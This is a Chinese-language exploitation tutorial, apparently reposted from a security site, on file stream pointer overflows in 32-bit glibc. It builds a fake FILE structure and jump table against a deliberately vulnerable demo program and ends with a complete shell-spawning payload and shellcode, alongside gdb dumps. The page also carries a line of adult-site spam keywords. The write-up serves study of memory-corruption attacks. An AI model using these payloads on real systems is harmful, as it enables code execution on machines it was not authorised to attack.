日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Head First FILE Stream Pointer Overflow

發布時間:2025/3/15 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Head First FILE Stream Pointer Overflow 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x00 前言


哄完女票睡覺后,自己輾轉反側許久還是睡不著,干脆爬起來寫一下文件流指針(我這里簡稱 FSP)溢出攻擊的筆記。FSP 溢出和棧溢出同樣古老,但是 paper 卻很少,我翻遍 Google 只發現三四篇文章,都會附在最后的 Reference 里面,學習學習漲漲姿勢。

本文先講述 FSP 溢出攻擊的原理,以及邊構造邊利用的方式攻擊了一個示例程序。

另外,因為我接觸 pwnable 時間不久,經驗不足,基礎不牢,如果有錯誤的地方或理解失誤的地方還請指出。

0x01 介紹


許多種不安全的代碼組合可以造成 FSP 溢出,比較明顯的幾種組合方式是: strcpy() ,strcat() ,read() , .... 和 vfprintf(), fprintf(), fputc(), fputs() 的組合。

FSP 溢出攻擊通常是用戶輸入數據覆蓋了文件流指針,導致我們可控文件流指針指向的 FILE 結構體(FILE struct)。FILE 結構體具體定義可以看這里,在此不再贅述。

控制了文件流指針后,可以構造合法的 FILE 結構體,最終在系統跳轉至 _IO_file_jumps 的時候跳轉到我們控制的地址,以控制 eip。

這張圖是 FILE 結構體的構成圖。

圖片來源:https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

下面分析一下一個常見的 FILE 結構體構成。

1 2 3 4 5 6 7 8 9 10 11 gdb-peda$ x/40a stderr 0xf7fbb980: 0xfbad2086? 0x0 0x0 0x0 0xf7fbb990: 0x0 0x0 0x0 0x0 0xf7fbb9a0: 0x0 0x0 0x0 0x0 0xf7fbb9b0: 0x0 0xf7fbba20? 0x2 0x0 0xf7fbb9c0: 0xffffffff? 0x0 0xf7fbc8ac? 0xffffffff 0xf7fbb9d0: 0xffffffff? 0x0 0xf7fbbb60? 0x0 0xf7fbb9e0: 0x0 0x0 0x0 0x0 0xf7fbb9f0: 0x0 0x0 0x0 0x0 0xf7fbba00: 0x0 0x0 0x0 0x0 0xf7fbba10: 0x0 0xf7fbaa80 <_IO_file_jumps>? 0x0 0x0

這是 stderr 的 FILE 結構體,_IO_file_jumps 的地址是 0xf7fbaa80。

1 2 3 4 5 6 7 gdb-peda$ x/21a 0xf7fbaa80 0xf7fbaa80 <_IO_file_jumps>:??? 0x0 0x0 0xf7e86a70? 0xf7e873e0 0xf7fbaa90 <_IO_file_jumps+16>: 0xf7e871b0? 0xf7e884d0? 0xf7e89360? 0xf7e86670 0xf7fbaaa0 <_IO_file_jumps+32>: 0xf7e876c0? 0xf7e85d00? 0xf7e887a0? 0xf7e863a0 0xf7fbaab0 <_IO_file_jumps+48>: 0xf7e862b0? 0xf7e7a1e0? 0xf7e87610? 0xf7e85c00 0xf7fbaac0 <_IO_file_jumps+64>: 0xf7e87650? 0xf7e85c90? 0xf7e87690? 0xf7e89500 0xf7fbaad0 <_IO_file_jumps+80>: 0xf7e89510

這就是 _IO_file_jumps 儲存的要跳轉到函數的地址了,比如:

1 2 gdb-peda$ x/i 0xf7e86670 ???0xf7e86670 <_IO_file_xsputn>:??? sub??? esp,0x3c

這個地址就是函數 _IO_file_xsputn 的地址。

0x02 利用


大概聰明的你也應該想到利用方法了,我們能控制 FILE 指針的地址,那我們就可以自己構造一個假的 FILE struct,當然 _IO_file_jumps 也可以輕易的偽造。當各種文件處理函數跑到 _IO_file_jumps 尋找接下來該跳轉的地址的時候,去我們偽造的 _IO_file_jumps 尋找指針,那么我們就可以控制 eip 執行 shellcode 了。

首先我們看一個示例程序(from: http://repo.hackerzvoice.net/depot_ouah/fsp-overflows.txt):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /* ?* file stream pointer overflow vulnerable program.c ?* -killah ?*/ #include <stdio.h> #include <string.h> int main(int argc,char **argv) { ???FILE *test; ???char msg[]="no segfault yet\n"; ???char stage[1024]; ???if(argc<2) { ??????printf("usage : %s <argument>\n",argv[0]); ??????exit(-1); ???} ???test=fopen("temp","a"); ???strcpy(stage,argv[1]); ???fprintf(test,"%s",msg); ???exit(0); }

可以看到先用了 strcpy,再用了 fprintf,很經典的組合方式。

編譯:

1 cc -o fsp fsp.c -m32 -zexecstack -fno-stack-protector

大概由于優化的原因,我這里 fprintf 被優化成了 fputs,不過沒差,一樣可以利用。

利用的第一步先尋找到溢出的偏移。

當我用r $(python -c "print 'a'*1041 + 'AAAA'")跑的時候,可以控制 ESI。

如圖,ESI 已經被控制成 0x41414141,那么這里就是我們控制的文件指針了。我們把整個文件結構體放在棧上, AAAA 的前面 160 個字節。AAAA 也改成指向文件指針開頭的地方。

1 2 3 4 5 6 gdb-peda$ searchmem AAAA Searching for 'AAAA' in: None ranges Found 3 results, display max 3 items: [stack] : 0xffffd364 ("AAAAR\345td]V\376\367\257\213", <incomplete sequence \342>...) [stack] : 0xffffd78c ("AAAA") [stack] : 0xffffdd95 ("AAAA")

當前 AAAA 的地址為 0xffffd78c,減去 160 個字節后就是 0xffffd6ec。那么構造 payload:

1 r $(python -c "print 'a'*881 + 'B'*160 + '\xec\xd6\xff\xff'")

報了新的錯?沒關系,take it easy,現在就開始構造 FILE struct 了。

我們知道 stderr 是一個標準的 FILE 結構體,那我們直接拿它的,在它的基礎上改成我們需要的就好了。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 gdb-peda$ x/160bx stderr 0xf7fbb980: 0x86??? 0x20??? 0xad??? 0xfb??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb988: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb990: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb998: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9a0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9a8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9b0: 0x00??? 0x00??? 0x00??? 0x00??? 0x20??? 0xba??? 0xfb??? 0xf7 0xf7fbb9b8: 0x02??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9c0: 0xff??? 0xff??? 0xff??? 0xff??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9c8: 0xac??? 0xc8??? 0xfb??? 0xf7??? 0xff??? 0xff??? 0xff??? 0xff 0xf7fbb9d0: 0xff??? 0xff??? 0xff??? 0xff??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9d8: 0x60??? 0xbb??? 0xfb??? 0xf7??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9e0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9e8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9f0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9f8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba00: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba08: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba10: 0x00??? 0x00??? 0x00??? 0x00??? 0x80??? 0xaa??? 0xfb??? 0xf7 0xf7fbba18: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00

經過處理后的到這么一長串:

1 \x86\x20\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xba\xfb\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x60\xbb\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00

但是我們知道,由于 strcpy 的緣故,并不能容忍 \x00 的存在,我們直接替換成 A 就好了,因為沒報錯..XD

1 r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAAAA\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAAAAAA' + '\xec\xd6\xff\xff'"`"

拿去跑一下,看看有什么問題沒有。

快看快看,我們到了最后 call 的地方了。

也就是說,程序運行到要從 _IO_file_jumps 取出指針,然后跳轉了。但是遇到了一些小問題, eax 不符合預期。看一下上下文的匯編代碼。

1 2 3 4 5 6 7 0xf7e7b239 <fputs+153>: movzx? edx,BYTE PTR [esi+0x46] 0xf7e7b23d <fputs+157>: movsx? edx,dl 0xf7e7b240 <fputs+160>: mov??? eax,DWORD PTR [esi+edx*1+0x94] 0xf7e7b247 <fputs+167>: mov??? DWORD PTR [esp+0x8],edi 0xf7e7b24b <fputs+171>: mov??? DWORD PTR [esp+0x4],ebp 0xf7e7b24f <fputs+175>: mov??? DWORD PTR [esp],esi 0xf7e7b252 <fputs+178>: call?? DWORD PTR [eax+0x1c]

edx 是從 esi+0x46 處得來的一個字節的值,eax 是 esi+edx+0x94 處的值,最后 call eax+0x1c。

大體先看一下 esi+0x94 的樣子:

1 2 3 4 gdb-peda$ x/10w $esi+0x94 0xffffd780: 0xf7fbaa80? 0x41414141? 0x41414141? 0xffffd6ec 0xffffd790: 0x08048500? 0x00000000? 0x00000000? 0xf7e2f4d3 0xffffd7a0: 0x00000002? 0xffffd834

0xffffd6ec 是我們控制的 FILE 結構體的地址,剩下的兩處 0x41414141 正好可以用來寫一些值來控制 eax。當 edx 為 0x4~0x8 的時候,正好在這 8 個字節的 0x41 的范圍內。

我們讓 esi+0x46 處為 8,然后第二處 0x41414141 指向 FILE 結構體前面的一塊內存。

1 r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"

我這里指向了 0xffffd63e 處,加上 0x1c 后(看上面匯編),為 0xffffd6ca。

已經可以控制 eip 了,我們修改一下 0xffffd6ca 處的地址,使其指向 0xffffd6cf,然后 0xffffd6ce-0xffffd6ec 這 30 個字節上放上 shellcode。注意 shellcode 應該正好為 30 個字節,不能多也不能少,少了的話用 \x90 補充(根據實際情況來就好了)。

最終 payload:

1 r "`python -c "print 'a'*847 + '\xcf\xd6\xff\xff' + '\x90'*9 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`"

執行效果:

0x03 參考


  • File Stream Pointer Overflows Paper
  • abusing the FILE structure
  • BUFFER OVERFLOW EXPLOITATION

原文地址:http://drops.wooyun.org/binary/12740

總結

以上是生活随笔為你收集整理的Head First FILE Stream Pointer Overflow的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。